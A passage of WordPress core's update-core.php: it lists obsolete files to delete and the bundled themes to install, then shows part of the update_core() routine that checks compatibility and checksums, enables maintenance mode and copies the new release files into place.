	'wp-includes/js/tinymce/plugins/fullscreen/editor_plugin.js',
	'wp-includes/js/tinymce/plugins/wplink/editor_plugin_src.js',
	'wp-includes/js/tinymce/plugins/wplink/editor_plugin.js',
	'wp-includes/js/tinymce/plugins/wpgallery/editor_plugin_src.js',
	'wp-includes/js/tinymce/plugins/wpgallery/editor_plugin.js',
	'wp-includes/js/tinymce/plugins/tabfocus/editor_plugin.js',
	'wp-includes/js/tinymce/plugins/tabfocus/editor_plugin_src.js',
	'wp-includes/js/tinymce/plugins/wpfullscreen/editor_plugin.js',
	'wp-includes/js/tinymce/plugins/wpfullscreen/editor_plugin_src.js',
	'wp-includes/js/tinymce/plugins/paste/editor_plugin.js',
	'wp-includes/js/tinymce/plugins/paste/pasteword.htm',
	'wp-includes/js/tinymce/plugins/paste/editor_plugin_src.js',
	'wp-includes/js/tinymce/plugins/paste/pastetext.htm',
	'wp-includes/js/tinymce/langs/wp-langs.php',
	// 4.1
	'wp-includes/js/jquery/ui/jquery.ui.accordion.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.autocomplete.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.button.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.core.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.datepicker.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.dialog.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.draggable.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.droppable.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.effect-blind.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.effect-bounce.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.effect-clip.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.effect-drop.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.effect-explode.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.effect-fade.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.effect-fold.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.effect-highlight.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.effect-pulsate.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.effect-scale.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.effect-shake.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.effect-slide.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.effect-transfer.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.effect.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.menu.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.mouse.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.position.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.progressbar.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.resizable.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.selectable.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.slider.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.sortable.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.spinner.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.tabs.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.tooltip.min.js',
	'wp-includes/js/jquery/ui/jquery.ui.widget.min.js',
	'wp-includes/js/tinymce/skins/wordpress/images/dashicon-no-alt.png',
	// 4.3
	'wp-admin/js/wp-fullscreen.js',
	'wp-admin/js/wp-fullscreen.min.js',
	'wp-includes/js/tinymce/wp-mce-help.php',
	'wp-includes/js/tinymce/plugins/wpfullscreen',
	// 4.5
	'wp-includes/theme-compat/comments-popup.php',
	// 4.6
	'wp-admin/includes/class-wp-automatic-upgrader.php', // Wrong file name, see #37628.
	// 4.8
	'wp-includes/js/tinymce/plugins/wpembed',
	'wp-includes/js/tinymce/plugins/media/moxieplayer.swf',
	'wp-includes/js/tinymce/skins/lightgray/fonts/readme.md',
	'wp-includes/js/tinymce/skins/lightgray/fonts/tinymce-small.json',
	'wp-includes/js/tinymce/skins/lightgray/fonts/tinymce.json',
	'wp-includes/js/tinymce/skins/lightgray/skin.ie7.min.css',
	// 4.9
	'wp-admin/css/press-this-editor-rtl.css',
	'wp-admin/css/press-this-editor-rtl.min.css',
	'wp-admin/css/press-this-editor.css',
	'wp-admin/css/press-this-editor.min.css',
	'wp-admin/css/press-this-rtl.css',
	'wp-admin/css/press-this-rtl.min.css',
	'wp-admin/css/press-this.css',
	'wp-admin/css/press-this.min.css',
	'wp-admin/includes/class-wp-press-this.php',
	'wp-admin/js/bookmarklet.js',
	'wp-admin/js/bookmarklet.min.js',
	'wp-admin/js/press-this.js',
	'wp-admin/js/press-this.min.js',
	'wp-includes/js/mediaelement/background.png',
	'wp-includes/js/mediaelement/bigplay.png',
	'wp-includes/js/mediaelement/bigplay.svg',
	'wp-includes/js/mediaelement/controls.png',
	'wp-includes/js/mediaelement/controls.svg',
	'wp-includes/js/mediaelement/flashmediaelement.swf',
	'wp-includes/js/mediaelement/froogaloop.min.js',
	'wp-includes/js/mediaelement/jumpforward.png',
	'wp-includes/js/mediaelement/loading.gif',
	'wp-includes/js/mediaelement/silverlightmediaelement.xap',
	'wp-includes/js/mediaelement/skipback.png',
	'wp-includes/js/plupload/plupload.flash.swf',
	'wp-includes/js/plupload/plupload.full.min.js',
	'wp-includes/js/plupload/plupload.silverlight.xap',
	'wp-includes/js/swfupload/plugins',
	'wp-includes/js/swfupload/swfupload.swf',
	// 4.9.2
	'wp-includes/js/mediaelement/lang',
	'wp-includes/js/mediaelement/lang/ca.js',
	'wp-includes/js/mediaelement/lang/cs.js',
	'wp-includes/js/mediaelement/lang/de.js',
	'wp-includes/js/mediaelement/lang/es.js',
	'wp-includes/js/mediaelement/lang/fa.js',
	'wp-includes/js/mediaelement/lang/fr.js',
	'wp-includes/js/mediaelement/lang/hr.js',
	'wp-includes/js/mediaelement/lang/hu.js',
	'wp-includes/js/mediaelement/lang/it.js',
	'wp-includes/js/mediaelement/lang/ja.js',
	'wp-includes/js/mediaelement/lang/ko.js',
	'wp-includes/js/mediaelement/lang/nl.js',
	'wp-includes/js/mediaelement/lang/pl.js',
	'wp-includes/js/mediaelement/lang/pt.js',
	'wp-includes/js/mediaelement/lang/ro.js',
	'wp-includes/js/mediaelement/lang/ru.js',
	'wp-includes/js/mediaelement/lang/sk.js',
	'wp-includes/js/mediaelement/lang/sv.js',
	'wp-includes/js/mediaelement/lang/uk.js',
	'wp-includes/js/mediaelement/lang/zh-cn.js',
	'wp-includes/js/mediaelement/lang/zh.js',
	'wp-includes/js/mediaelement/mediaelement-flash-audio-ogg.swf',
	'wp-includes/js/mediaelement/mediaelement-flash-audio.swf',
	'wp-includes/js/mediaelement/mediaelement-flash-video-hls.swf',
	'wp-includes/js/mediaelement/mediaelement-flash-video-mdash.swf',
	'wp-includes/js/mediaelement/mediaelement-flash-video.swf',
	'wp-includes/js/mediaelement/renderers/dailymotion.js',
	'wp-includes/js/mediaelement/renderers/dailymotion.min.js',
	'wp-includes/js/mediaelement/renderers/facebook.js',
	'wp-includes/js/mediaelement/renderers/facebook.min.js',
	'wp-includes/js/mediaelement/renderers/soundcloud.js',
	'wp-includes/js/mediaelement/renderers/soundcloud.min.js',
	'wp-includes/js/mediaelement/renderers/twitch.js',
	'wp-includes/js/mediaelement/renderers/twitch.min.js',
	// 5.0
	'wp-includes/js/codemirror/jshint.js',
	// 5.1
	'wp-includes/random_compat/random_bytes_openssl.php',
	'wp-includes/js/tinymce/wp-tinymce.js.gz',
	// 5.3
	'wp-includes/js/wp-a11y.js',     // Moved to: wp-includes/js/dist/a11y.js
	'wp-includes/js/wp-a11y.min.js', // Moved to: wp-includes/js/dist/a11y.min.js
	// 5.4
	'wp-admin/js/wp-fullscreen-stub.js',
	'wp-admin/js/wp-fullscreen-stub.min.js',
	// 5.5
	'wp-admin/css/ie.css',
	'wp-admin/css/ie.min.css',
	'wp-admin/css/ie-rtl.css',
	'wp-admin/css/ie-rtl.min.css',
	// 5.6
	'wp-includes/js/jquery/ui/position.min.js',
	'wp-includes/js/jquery/ui/widget.min.js',
	// 5.7
	'wp-includes/blocks/classic/block.json',
	// 5.8
	'wp-admin/images/freedoms.png',
	'wp-admin/images/privacy.png',
	'wp-admin/images/about-badge.svg',
	'wp-admin/images/about-color-palette.svg',
	'wp-admin/images/about-color-palette-vert.svg',
	'wp-admin/images/about-header-brushes.svg',
	'wp-includes/block-patterns/large-header.php',
	'wp-includes/block-patterns/heading-paragraph.php',
	'wp-includes/block-patterns/quote.php',
	'wp-includes/block-patterns/text-three-columns-buttons.php',
	'wp-includes/block-patterns/two-buttons.php',
	'wp-includes/block-patterns/two-images.php',
	'wp-includes/block-patterns/three-buttons.php',
	'wp-includes/block-patterns/text-two-columns-with-images.php',
	'wp-includes/block-patterns/text-two-columns.php',
	'wp-includes/block-patterns/large-header-button.php',
	'wp-includes/blocks/subhead/block.json',
	'wp-includes/blocks/subhead',
	'wp-includes/css/dist/editor/editor-styles.css',
	'wp-includes/css/dist/editor/editor-styles.min.css',
	'wp-includes/css/dist/editor/editor-styles-rtl.css',
	'wp-includes/css/dist/editor/editor-styles-rtl.min.css',
	// 5.9
	'wp-includes/blocks/heading/editor.css',
	'wp-includes/blocks/heading/editor.min.css',
	'wp-includes/blocks/heading/editor-rtl.css',
	'wp-includes/blocks/heading/editor-rtl.min.css',
	'wp-includes/blocks/post-content/editor.css',
	'wp-includes/blocks/post-content/editor.min.css',
	'wp-includes/blocks/post-content/editor-rtl.css',
	'wp-includes/blocks/post-content/editor-rtl.min.css',
	'wp-includes/blocks/query-title/editor.css',
	'wp-includes/blocks/query-title/editor.min.css',
	'wp-includes/blocks/query-title/editor-rtl.css',
	'wp-includes/blocks/query-title/editor-rtl.min.css',
	'wp-includes/blocks/tag-cloud/editor.css',
	'wp-includes/blocks/tag-cloud/editor.min.css',
	'wp-includes/blocks/tag-cloud/editor-rtl.css',
	'wp-includes/blocks/tag-cloud/editor-rtl.min.css',
	// 6.1
	'wp-includes/blocks/post-comments.php',
	'wp-includes/blocks/post-comments/block.json',
	'wp-includes/blocks/post-comments/editor.css',
	'wp-includes/blocks/post-comments/editor.min.css',
	'wp-includes/blocks/post-comments/editor-rtl.css',
	'wp-includes/blocks/post-comments/editor-rtl.min.css',
	'wp-includes/blocks/post-comments/style.css',
	'wp-includes/blocks/post-comments/style.min.css',
	'wp-includes/blocks/post-comments/style-rtl.css',
	'wp-includes/blocks/post-comments/style-rtl.min.css',
	'wp-includes/blocks/post-comments',
	'wp-includes/blocks/comments-query-loop/block.json',
	'wp-includes/blocks/comments-query-loop/editor.css',
	'wp-includes/blocks/comments-query-loop/editor.min.css',
	'wp-includes/blocks/comments-query-loop/editor-rtl.css',
	'wp-includes/blocks/comments-query-loop/editor-rtl.min.css',
	'wp-includes/blocks/comments-query-loop',
	// 6.3
	'wp-includes/images/wlw',
	'wp-includes/wlwmanifest.xml',
	'wp-includes/random_compat',
	// 6.4
	'wp-includes/navigation-fallback.php',
	'wp-includes/blocks/navigation/view-modal.min.js',
	'wp-includes/blocks/navigation/view-modal.js',
);

/**
 * Stores Requests files to be preloaded and deleted.
 *
 * For classes/interfaces, use the class/interface name
 * as the array key.
 *
 * All other files/directories should not have a key.
 *
 * @since 6.2.0
 *
 * @global array $_old_requests_files
 * @var array
 * @name $_old_requests_files
 */
global $_old_requests_files;

$_old_requests_files = array(
	// Interfaces.
	'Requests_Auth'                              => 'wp-includes/Requests/Auth.php',
	'Requests_Hooker'                            => 'wp-includes/Requests/Hooker.php',
	'Requests_Proxy'                             => 'wp-includes/Requests/Proxy.php',
	'Requests_Transport'                         => 'wp-includes/Requests/Transport.php',

	// Classes.
	'Requests_Auth_Basic'                        => 'wp-includes/Requests/Auth/Basic.php',
	'Requests_Cookie_Jar'                        => 'wp-includes/Requests/Cookie/Jar.php',
	'Requests_Exception_HTTP'                    => 'wp-includes/Requests/Exception/HTTP.php',
	'Requests_Exception_Transport'               => 'wp-includes/Requests/Exception/Transport.php',
	'Requests_Exception_HTTP_304'                => 'wp-includes/Requests/Exception/HTTP/304.php',
	'Requests_Exception_HTTP_305'                => 'wp-includes/Requests/Exception/HTTP/305.php',
	'Requests_Exception_HTTP_306'                => 'wp-includes/Requests/Exception/HTTP/306.php',
	'Requests_Exception_HTTP_400'                => 'wp-includes/Requests/Exception/HTTP/400.php',
	'Requests_Exception_HTTP_401'                => 'wp-includes/Requests/Exception/HTTP/401.php',
	'Requests_Exception_HTTP_402'                => 'wp-includes/Requests/Exception/HTTP/402.php',
	'Requests_Exception_HTTP_403'                => 'wp-includes/Requests/Exception/HTTP/403.php',
	'Requests_Exception_HTTP_404'                => 'wp-includes/Requests/Exception/HTTP/404.php',
	'Requests_Exception_HTTP_405'                => 'wp-includes/Requests/Exception/HTTP/405.php',
	'Requests_Exception_HTTP_406'                => 'wp-includes/Requests/Exception/HTTP/406.php',
	'Requests_Exception_HTTP_407'                => 'wp-includes/Requests/Exception/HTTP/407.php',
	'Requests_Exception_HTTP_408'                => 'wp-includes/Requests/Exception/HTTP/408.php',
	'Requests_Exception_HTTP_409'                => 'wp-includes/Requests/Exception/HTTP/409.php',
	'Requests_Exception_HTTP_410'                => 'wp-includes/Requests/Exception/HTTP/410.php',
	'Requests_Exception_HTTP_411'                => 'wp-includes/Requests/Exception/HTTP/411.php',
	'Requests_Exception_HTTP_412'                => 'wp-includes/Requests/Exception/HTTP/412.php',
	'Requests_Exception_HTTP_413'                => 'wp-includes/Requests/Exception/HTTP/413.php',
	'Requests_Exception_HTTP_414'                => 'wp-includes/Requests/Exception/HTTP/414.php',
	'Requests_Exception_HTTP_415'                => 'wp-includes/Requests/Exception/HTTP/415.php',
	'Requests_Exception_HTTP_416'                => 'wp-includes/Requests/Exception/HTTP/416.php',
	'Requests_Exception_HTTP_417'                => 'wp-includes/Requests/Exception/HTTP/417.php',
	'Requests_Exception_HTTP_418'                => 'wp-includes/Requests/Exception/HTTP/418.php',
	'Requests_Exception_HTTP_428'                => 'wp-includes/Requests/Exception/HTTP/428.php',
	'Requests_Exception_HTTP_429'                => 'wp-includes/Requests/Exception/HTTP/429.php',
	'Requests_Exception_HTTP_431'                => 'wp-includes/Requests/Exception/HTTP/431.php',
	'Requests_Exception_HTTP_500'                => 'wp-includes/Requests/Exception/HTTP/500.php',
	'Requests_Exception_HTTP_501'                => 'wp-includes/Requests/Exception/HTTP/501.php',
	'Requests_Exception_HTTP_502'                => 'wp-includes/Requests/Exception/HTTP/502.php',
	'Requests_Exception_HTTP_503'                => 'wp-includes/Requests/Exception/HTTP/503.php',
	'Requests_Exception_HTTP_504'                => 'wp-includes/Requests/Exception/HTTP/504.php',
	'Requests_Exception_HTTP_505'                => 'wp-includes/Requests/Exception/HTTP/505.php',
	'Requests_Exception_HTTP_511'                => 'wp-includes/Requests/Exception/HTTP/511.php',
	'Requests_Exception_HTTP_Unknown'            => 'wp-includes/Requests/Exception/HTTP/Unknown.php',
	'Requests_Exception_Transport_cURL'          => 'wp-includes/Requests/Exception/Transport/cURL.php',
	'Requests_Proxy_HTTP'                        => 'wp-includes/Requests/Proxy/HTTP.php',
	'Requests_Response_Headers'                  => 'wp-includes/Requests/Response/Headers.php',
	'Requests_Transport_cURL'                    => 'wp-includes/Requests/Transport/cURL.php',
	'Requests_Transport_fsockopen'               => 'wp-includes/Requests/Transport/fsockopen.php',
	'Requests_Utility_CaseInsensitiveDictionary' => 'wp-includes/Requests/Utility/CaseInsensitiveDictionary.php',
	'Requests_Utility_FilteredIterator'          => 'wp-includes/Requests/Utility/FilteredIterator.php',
	'Requests_Cookie'                            => 'wp-includes/Requests/Cookie.php',
	'Requests_Exception'                         => 'wp-includes/Requests/Exception.php',
	'Requests_Hooks'                             => 'wp-includes/Requests/Hooks.php',
	'Requests_IDNAEncoder'                       => 'wp-includes/Requests/IDNAEncoder.php',
	'Requests_IPv6'                              => 'wp-includes/Requests/IPv6.php',
	'Requests_IRI'                               => 'wp-includes/Requests/IRI.php',
	'Requests_Response'                          => 'wp-includes/Requests/Response.php',
	'Requests_SSL'                               => 'wp-includes/Requests/SSL.php',
	'Requests_Session'                           => 'wp-includes/Requests/Session.php',

	// Directories.
	'wp-includes/Requests/Auth/',
	'wp-includes/Requests/Cookie/',
	'wp-includes/Requests/Exception/HTTP/',
	'wp-includes/Requests/Exception/Transport/',
	'wp-includes/Requests/Exception/',
	'wp-includes/Requests/Proxy/',
	'wp-includes/Requests/Response/',
	'wp-includes/Requests/Transport/',
	'wp-includes/Requests/Utility/',
);

/**
 * Stores new files in wp-content to copy
 *
 * The contents of this array indicate any new bundled plugins/themes which
 * should be installed with the WordPress Upgrade. These items will not be
 * re-installed in future upgrades, this behavior is controlled by the
 * introduced version present here being older than the current installed version.
 *
 * The content of this array should follow the following format:
 * Filename (relative to wp-content) => Introduced version
 * Directories should be noted by suffixing it with a trailing slash (/)
 *
 * @since 3.2.0
 * @since 4.7.0 New themes were not automatically installed for 4.4-4.6 on
 *              upgrade. New themes are now installed again. To disable new
 *              themes from being installed on upgrade, explicitly define
 *              CORE_UPGRADE_SKIP_NEW_BUNDLED as true.
 * @global array $_new_bundled_files
 * @var array
 * @name $_new_bundled_files
 */
global $_new_bundled_files;

$_new_bundled_files = array(
	'plugins/akismet/'          => '2.0',
	'themes/twentyten/'         => '3.0',
	'themes/twentyeleven/'      => '3.2',
	'themes/twentytwelve/'      => '3.5',
	'themes/twentythirteen/'    => '3.6',
	'themes/twentyfourteen/'    => '3.8',
	'themes/twentyfifteen/'     => '4.1',
	'themes/twentysixteen/'     => '4.4',
	'themes/twentyseventeen/'   => '4.7',
	'themes/twentynineteen/'    => '5.0',
	'themes/twentytwenty/'      => '5.3',
	'themes/twentytwentyone/'   => '5.6',
	'themes/twentytwentytwo/'   => '5.9',
	'themes/twentytwentythree/' => '6.1',
	'themes/twentytwentyfour/'  => '6.4',
);

/**
 * Upgrades the core of WordPress.
 *
 * This will create a .maintenance file at the base of the WordPress directory
 * to ensure that people can not access the web site, when the files are being
 * copied to their locations.
 *
 * The files in the `$_old_files` list will be removed and the new files
 * copied from the zip file after the database is upgraded.
 *
 * The files in the `$_new_bundled_files` list will be added to the installation
 * if the version is greater than or equal to the old version being upgraded.
 *
 * The steps for the upgrader for after the new release is downloaded and
 * unzipped is:
 *   1. Test unzipped location for select files to ensure that unzipped worked.
 *   2. Create the .maintenance file in current WordPress base.
 *   3. Copy new WordPress directory over old WordPress files.
 *   4. Upgrade WordPress to new version.
 *     4.1. Copy all files/folders other than wp-content
 *     4.2. Copy any language files to WP_LANG_DIR (which may differ from WP_CONTENT_DIR
 *     4.3. Copy any new bundled themes/plugins to their respective locations
 *   5. Delete new WordPress directory path.
 *   6. Delete .maintenance file.
 *   7. Remove old files.
 *   8. Delete 'update_core' option.
 *
 * There are several areas of failure. For instance if PHP times out before step
 * 6, then you will not be able to access any portion of your site. Also, since
 * the upgrade will not continue where it left off, you will not be able to
 * automatically remove old files and remove the 'update_core' option. This
 * isn't that bad.
 *
 * If the copy of the new WordPress over the old fails, then the worse is that
 * the new WordPress directory will remain.
 *
 * If it is assumed that every file will be copied over, including plugins and
 * themes, then if you edit the default theme, you should rename it, so that
 * your changes remain.
 *
 * @since 2.7.0
 *
 * @global WP_Filesystem_Base $wp_filesystem          WordPress filesystem subclass.
 * @global array              $_old_files
 * @global array              $_old_requests_files
 * @global array              $_new_bundled_files
 * @global wpdb               $wpdb                   WordPress database abstraction object.
 * @global string             $wp_version
 * @global string             $required_php_version
 * @global string             $required_mysql_version
 *
 * @param string $from New release unzipped path.
 * @param string $to   Path to old WordPress installation.
 * @return string|WP_Error New WordPress version on success, WP_Error on failure.
 */
function update_core( $from, $to ) {
	global $wp_filesystem, $_old_files, $_old_requests_files, $_new_bundled_files, $wpdb;

	if ( function_exists( 'set_time_limit' ) ) {
		set_time_limit( 300 );
	}

	/*
	 * Merge the old Requests files and directories into the `$_old_files`.
	 * Then preload these Requests files first, before the files are deleted
	 * and replaced to ensure the code is in memory if needed.
	 */
	$_old_files = array_merge( $_old_files, array_values( $_old_requests_files ) );
	_preload_old_requests_classes_and_interfaces( $to );

	/**
	 * Filters feedback messages displayed during the core update process.
	 *
	 * The filter is first evaluated after the zip file for the latest version
	 * has been downloaded and unzipped. It is evaluated five more times during
	 * the process:
	 *
	 * 1. Before WordPress begins the core upgrade process.
	 * 2. Before Maintenance Mode is enabled.
	 * 3. Before WordPress begins copying over the necessary files.
	 * 4. Before Maintenance Mode is disabled.
	 * 5. Before the database is upgraded.
	 *
	 * @since 2.5.0
	 *
	 * @param string $feedback The core update feedback messages.
	 */
	apply_filters( 'update_feedback', __( 'Verifying the unpacked files&#8230;' ) );

	// Sanity check the unzipped distribution.
	$distro = '';
	$roots  = array( '/wordpress/', '/wordpress-mu/' );

	foreach ( $roots as $root ) {
		if ( $wp_filesystem->exists( $from . $root . 'readme.html' )
			&& $wp_filesystem->exists( $from . $root . 'wp-includes/version.php' )
		) {
			$distro = $root;
			break;
		}
	}

	if ( ! $distro ) {
		$wp_filesystem->delete( $from, true );

		return new WP_Error( 'insane_distro', __( 'The update could not be unpacked' ) );
	}

	/*
	 * Import $wp_version, $required_php_version, and $required_mysql_version from the new version.
	 * DO NOT globalize any variables imported from `version-current.php` in this function.
	 *
	 * BC Note: $wp_filesystem->wp_content_dir() returned unslashed pre-2.8.
	 */
	$versions_file = trailingslashit( $wp_filesystem->wp_content_dir() ) . 'upgrade/version-current.php';

	if ( ! $wp_filesystem->copy( $from . $distro . 'wp-includes/version.php', $versions_file ) ) {
		$wp_filesystem->delete( $from, true );

		return new WP_Error(
			'copy_failed_for_version_file',
			__( 'The update cannot be installed because some files could not be copied. This is usually due to inconsistent file permissions.' ),
			'wp-includes/version.php'
		);
	}

	$wp_filesystem->chmod( $versions_file, FS_CHMOD_FILE );

	/*
	 * `wp_opcache_invalidate()` only exists in WordPress 5.5 or later,
	 * so don't run it when upgrading from older versions.
	 */
	if ( function_exists( 'wp_opcache_invalidate' ) ) {
		wp_opcache_invalidate( $versions_file );
	}

	require WP_CONTENT_DIR . '/upgrade/version-current.php';
	$wp_filesystem->delete( $versions_file );

	$php_version    = PHP_VERSION;
	$mysql_version  = $wpdb->db_version();
	$old_wp_version = $GLOBALS['wp_version']; // The version of WordPress we're updating from.
	/*
	 * Note: str_contains() is not used here, as this file is included
	 * when updating from older WordPress versions, in which case
	 * the polyfills from wp-includes/compat.php may not be available.
	 */
	$development_build = ( false !== strpos( $old_wp_version . $wp_version, '-' ) ); // A dash in the version indicates a development release.
	$php_compat        = version_compare( $php_version, $required_php_version, '>=' );

	if ( file_exists( WP_CONTENT_DIR . '/db.php' ) && empty( $wpdb->is_mysql ) ) {
		$mysql_compat = true;
	} else {
		$mysql_compat = version_compare( $mysql_version, $required_mysql_version, '>=' );
	}

	if ( ! $mysql_compat || ! $php_compat ) {
		$wp_filesystem->delete( $from, true );
	}

	$php_update_message = '';

	if ( function_exists( 'wp_get_update_php_url' ) ) {
		$php_update_message = '</p><p>' . sprintf(
			/* translators: %s: URL to Update PHP page. */
			__( '<a href="%s">Learn more about updating PHP</a>.' ),
			esc_url( wp_get_update_php_url() )
		);

		if ( function_exists( 'wp_get_update_php_annotation' ) ) {
			$annotation = wp_get_update_php_annotation();

			if ( $annotation ) {
				$php_update_message .= '</p><p><em>' . $annotation . '</em>';
			}
		}
	}

	if ( ! $mysql_compat && ! $php_compat ) {
		return new WP_Error(
			'php_mysql_not_compatible',
			sprintf(
				/* translators: 1: WordPress version number, 2: Minimum required PHP version number, 3: Minimum required MySQL version number, 4: Current PHP version number, 5: Current MySQL version number. */
				__( 'The update cannot be installed because WordPress %1$s requires PHP version %2$s or higher and MySQL version %3$s or higher. You are running PHP version %4$s and MySQL version %5$s.' ),
				$wp_version,
				$required_php_version,
				$required_mysql_version,
				$php_version,
				$mysql_version
			) . $php_update_message
		);
	} elseif ( ! $php_compat ) {
		return new WP_Error(
			'php_not_compatible',
			sprintf(
				/* translators: 1: WordPress version number, 2: Minimum required PHP version number, 3: Current PHP version number. */
				__( 'The update cannot be installed because WordPress %1$s requires PHP version %2$s or higher. You are running version %3$s.' ),
				$wp_version,
				$required_php_version,
				$php_version
			) . $php_update_message
		);
	} elseif ( ! $mysql_compat ) {
		return new WP_Error(
			'mysql_not_compatible',
			sprintf(
				/* translators: 1: WordPress version number, 2: Minimum required MySQL version number, 3: Current MySQL version number. */
				__( 'The update cannot be installed because WordPress %1$s requires MySQL version %2$s or higher. You are running version %3$s.' ),
				$wp_version,
				$required_mysql_version,
				$mysql_version
			)
		);
	}

	// Add a warning when the JSON PHP extension is missing.
	if ( ! extension_loaded( 'json' ) ) {
		return new WP_Error(
			'php_not_compatible_json',
			sprintf(
				/* translators: 1: WordPress version number, 2: The PHP extension name needed. */
				__( 'The update cannot be installed because WordPress %1$s requires the %2$s PHP extension.' ),
				$wp_version,
				'JSON'
			)
		);
	}

	/** This filter is documented in wp-admin/includes/update-core.php */
	apply_filters( 'update_feedback', __( 'Preparing to install the latest version&#8230;' ) );

	/*
	 * Don't copy wp-content, we'll deal with that below.
	 * We also copy version.php last so failed updates report their old version.
	 */
	$skip              = array( 'wp-content', 'wp-includes/version.php' );
	$check_is_writable = array();

	// Check to see which files don't really need updating - only available for 3.7 and higher.
	if ( function_exists( 'get_core_checksums' ) ) {
		// Find the local version of the working directory.
		$working_dir_local = WP_CONTENT_DIR . '/upgrade/' . basename( $from ) . $distro;

		$checksums = get_core_checksums( $wp_version, isset( $wp_local_package ) ? $wp_local_package : 'en_US' );

		if ( is_array( $checksums ) && isset( $checksums[ $wp_version ] ) ) {
			$checksums = $checksums[ $wp_version ]; // Compat code for 3.7-beta2.
		}

		if ( is_array( $checksums ) ) {
			foreach ( $checksums as $file => $checksum ) {
				/*
				 * Note: str_starts_with() is not used here, as this file is included
				 * when updating from older WordPress versions, in which case
				 * the polyfills from wp-includes/compat.php may not be available.
				 */
				if ( 'wp-content' === substr( $file, 0, 10 ) ) {
					continue;
				}

				if ( ! file_exists( ABSPATH . $file ) ) {
					continue;
				}

				if ( ! file_exists( $working_dir_local . $file ) ) {
					continue;
				}

				if ( '.' === dirname( $file )
					&& in_array( pathinfo( $file, PATHINFO_EXTENSION ), array( 'html', 'txt' ), true )
				) {
					continue;
				}

				if ( md5_file( ABSPATH . $file ) === $checksum ) {
					$skip[] = $file;
				} else {
					$check_is_writable[ $file ] = ABSPATH . $file;
				}
			}
		}
	}

	// If we're using the direct method, we can predict write failures that are due to permissions.
	if ( $check_is_writable && 'direct' === $wp_filesystem->method ) {
		$files_writable = array_filter( $check_is_writable, array( $wp_filesystem, 'is_writable' ) );

		if ( $files_writable !== $check_is_writable ) {
			$files_not_writable = array_diff_key( $check_is_writable, $files_writable );

			foreach ( $files_not_writable as $relative_file_not_writable => $file_not_writable ) {
				// If the writable check failed, chmod file to 0644 and try again, same as copy_dir().
				$wp_filesystem->chmod( $file_not_writable, FS_CHMOD_FILE );

				if ( $wp_filesystem->is_writable( $file_not_writable ) ) {
					unset( $files_not_writable[ $relative_file_not_writable ] );
				}
			}

			// Store package-relative paths (the key) of non-writable files in the WP_Error object.
			$error_data = version_compare( $old_wp_version, '3.7-beta2', '>' ) ? array_keys( $files_not_writable ) : '';

			if ( $files_not_writable ) {
				return new WP_Error(
					'files_not_writable',
					__( 'The update cannot be installed because your site is unable to copy some files. This is usually due to inconsistent file permissions.' ),
					implode( ', ', $error_data )
				);
			}
		}
	}

	/** This filter is documented in wp-admin/includes/update-core.php */
	apply_filters( 'update_feedback', __( 'Enabling Maintenance mode&#8230;' ) );

	// Create maintenance file to signal that we are upgrading.
	$maintenance_string = '<?php $upgrading = ' . time() . '; ?>';
	$maintenance_file   = $to . '.maintenance';
	$wp_filesystem->delete( $maintenance_file );
	$wp_filesystem->put_contents( $maintenance_file, $maintenance_string, FS_CHMOD_FILE );

	/** This filter is documented in wp-admin/includes/update-core.php */
	apply_filters( 'update_feedback', __( 'Copying the required files&#8230;' ) );

	// Copy new versions of WP files into place.
	$result = copy_dir( $from . $distro, $to, $skip );

	if ( is_wp_error( $result ) ) {
		$result = new WP_Error(
			$result->get_error_code(),
			$result->get_error_message(),
			substr( $result->get_error_data(), strlen( $to ) )
		);
	}

	// Since we know the core files have copied over, we can now copy the version file.
	if ( ! is_wp_error( $result ) ) {
		if ( ! $wp_filesystem->copy( $from . $distro . 'wp-includes/version.php', $to . 'wp-includes/version.php', true /* overwrite */ ) ) {
			$wp_filesystem->delete( $from, true );
			$result = new WP_Error(
				'copy_failed_for_version_file',
				__( 'The update cannot be installed because your site is unable to copy some files. This is usually due to inconsistent file permissions.' ),
				'wp-includes/version.php'
			);
		}

		$wp_filesystem->chmod( $to . 'wp-includes/version.php', FS_CHMOD_FILE );

		/*
		 * `wp_opcache_invalidate()` only exists in WordPress 5.5 or later,
		 * so don't run it when upgrading from older versions.
		 */
		if ( function_exists( 'wp_opcache_invalidate' ) ) {
			wp_opcache_invalidate( $to . 'wp-includes/version.php' );
		}
	}

	// Check to make sure everything copied correctly, ignoring the contents of wp-content.
	$skip   = array( 'wp-content' );
	$failed = array();

	if ( isset( $checksums ) && is_array( $checksums ) ) {
		foreach ( $checksums as $file => $checksum ) {
			/*
			 * Note: str_starts_with() is not used here, as this file is included
			 * when updating from older WordPress versions, in which case
			 * the polyfills from wp-includes/compat.php may not be available.
			 */
			if ( 'wp-content' === substr( $file, 0, 10 ) ) {
				continue;
			}

			if ( ! file_exists( $working_dir_local . $file ) ) {
				continue;
			}

			if ( '.' === dirname( $file )
				&& in_array( pathinfo( $file, PATHINFO_EXTENSION ), array( 'html', 'txt' ), true )
			) {
				$skip[] = $file;
				continue;
			}

